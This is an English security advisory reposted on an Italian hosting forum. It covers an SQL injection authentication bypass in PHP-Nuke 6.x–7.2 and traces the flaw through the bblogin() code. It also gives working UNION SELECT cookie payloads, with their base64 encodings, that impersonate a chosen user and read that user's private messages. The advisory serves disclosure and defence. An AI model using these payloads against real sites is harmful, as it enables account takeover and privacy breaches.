Torna indietro   Serverplan Forum > Serverplan comunica > Vulnerabilità

Rispondi
 
LinkBack Strumenti discussione Modalità visualizzazione
  #1 (permalink)  
Vecchio 13-04-2004, 01.15.35
Administrator
Amministratore
 
Data registrazione: 12-09-2002
Messaggi: 3,420
serverplan ha disabilitato la reputazione
Predefinito User-level authentication bypass in phpnuke 6.x-7.2

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's begin our journey. I was exploring the phpnuke code and saw this code in
modules.php in lines 20-21:

global $nukeuser;
$nukeuser = base64_decode($user);

Hmm, base64decoded global variable $nukeuser, it means, that $nukeuser can contain unslashed
single quotes and potentially lead to sql injection...
So, i was searching phpnuke source files to find out, for what is used this variable. And
the answer is - for integrated phpBB forum module in phpnuke.
This is how it works - first forum module will call the function session_pagestart($user_ip, $thispage_id, $nukeuser)
from sessions.php, this function will call bblogin($nukeuser, $session_id) from functions.php .
Now, here is some code fragments from bblogin():

function bblogin($nukeuser, $session_id) {
...
$cookie = explode(":", $nukeuser);
$nuid = $cookie[0];
...
if( $nuid != $logindata['session_user_id'] ) {
$nusername = $cookie[1];
$sql = "SELECT user_id, username, user_password, user_active, user_level
FROM ".USERS_TABLE."
WHERE username = '" . str_replace("\'", "''", $nusername) . "'";
$result = $db->sql_query($sql);
if(!$result) {
message_die(GENERAL_ERROR, "Error in obtaining userdata : login", "", __LINE__, __FILE__, $sql);
}
...

As we can see, base64decoded UNSLASHED data will be exploded to array $cookie and then username
component will be used in sql query. Therefore sql injection must be possible...
Now it's time to practical work. By the way, we don't need to play with cookies (this is little bit harder
then GET requests), because phpnuke will globalize all the GPC variables, so there is no difference, it's
COOKIE, POST or GET. Now, for proof testing let's contruct "cookie" like this:

1:x'%20OR%20y/*wd

and next let's base64encode them, so we get: MTp4JyBPUiB5Lyo6cHdk
Ok, now if we make HTTP request like this:

http://localhost/nuke71/modules.php?...BPUiB5Lyo6cHdk

then most of the phpnuke installations will give us phpbb error message:

------------------------------------------------------------------------
General Error

Error in obtaining userdata : login

DEBUG MODE

SQL Error : 1054 Unknown column 'y' in 'where clause'

SELECT user_id, username, user_password, user_active, user_level FROM nuke_users WHERE username = 'x' OR y/*'

Line : 840
File : D:\apache_wwwroot\nuke71\includes\functions.php
------------------------------------------------------------------------

And it's not surprise, that line 840 from functions.php belongs to function bblogin($nukeuser, $session_id)
from integrated phpBB package. So we have proof of the real sql injection and can use this for
full path disclosure and XSS. Hmm, maybe we can do something more "useful"? Answer is "yes", if the mysql
engine has version number > 4.0 and UNION functionality is enabled. We can use UNION to "fake" any
information, that phpnuke will try to query from database.
In this stage WE NEED TO KNOW user_id of the user, who we are targeting. Admin's user-alias has
probably user_id=2, but we can very easy get any user's user_aid, for example if we look at user's
profile:

http://localhost/nuke71/modules.php?...iewprofile&u=2

then we see "u=2", therefore user_id=2. Now let's contruct "cookie" like this:

x:x'%20UNION%20SELECT%202,null,'pass',1,null/*ass

and base64encoded version is --> eDp4JyBVTklPTiBTRUxFQ1QgMixudWxsLCdwYXNzJywxLG51bG wvKjpwYXNz
So we make HTTP request like this:

http://localhost/nuke71/modules.php?...51bGwvKjpwYXNz

and we see forum page with link "log out [waraxe]" (with username, who's user_id=2). So, we just fooled
phpnuke to believe, that we are authentic user, and that's without any authentication at all.
Of course, work is not yet done - if we try to click on any links, then we see login page, because
this sort of "authentication" is not permanent.
There are many possibilities to improve this method and use it for different "bad things".
I will show here example HTTP requests, that will make possible to read any user private messages
without any authentication.
If user "waraxe" has user_id=2, then lets construct "cookie" like this:

x:foo'%20UNION%20SELECT%202,null,1,1,null/*:1

and after base64encode operation we get: eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKj ox

Next, we make HTTP request like this:

http://localhost/nuke71/modules.php?...wxLG51bGwvKjox

and if you are lucky, you can see the pm list. Now, how we can read one of the private messages?
Just copy the url of the private message, what you see in pm list, for example:

http://localhost/nuke71/modules.php?...&mode=read&p=1

and then add our "magic" string:

http://localhost/nuke71/modules.php?...wxLG51bGwvKjox

Paste this to url field in browser and make get request. Mission complete!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!
Rispondi citando
Rispondi

Strumenti discussione
Modalità visualizzazione

Regole di scrittura
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Attivato
Le faccine sono Attivato
Il codice [IMG] è Attivato
Il codice HTML è Disattivato
Trackbacks are Attivato
Pingbacks are Attivato
Refbacks are Attivato


Discussioni simili
Discussione Autore discussione Forum Risposte Ultimo messaggio
User-level authentication bypass in phpnuke 6.x-7.2</sp Ikarosavenger_79 Vulnerabilità 0 13-06-2007 05.50.00
protezione cartella con .htaccess e gestione user via php mjfan80 Pannello di controllo Cpanel - Linux 2 01-04-2007 14.52.19
Disgest authentication RC PHP 1 15-08-2005 00.58.13
errore: Access denied for user garacs1 PHP 1 12-05-2005 21.52.50
Cambiare il nome degli user durabo Pannello di controllo rivenditori HELM - Windows 1 18-08-2003 12.21.00


Tutti gli orari sono GMT +1. Adesso sono le 15.30.44.


Powered by vBulletin versione 3.7.3
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.1.0
Traduzione italiana : www.vbulletin.it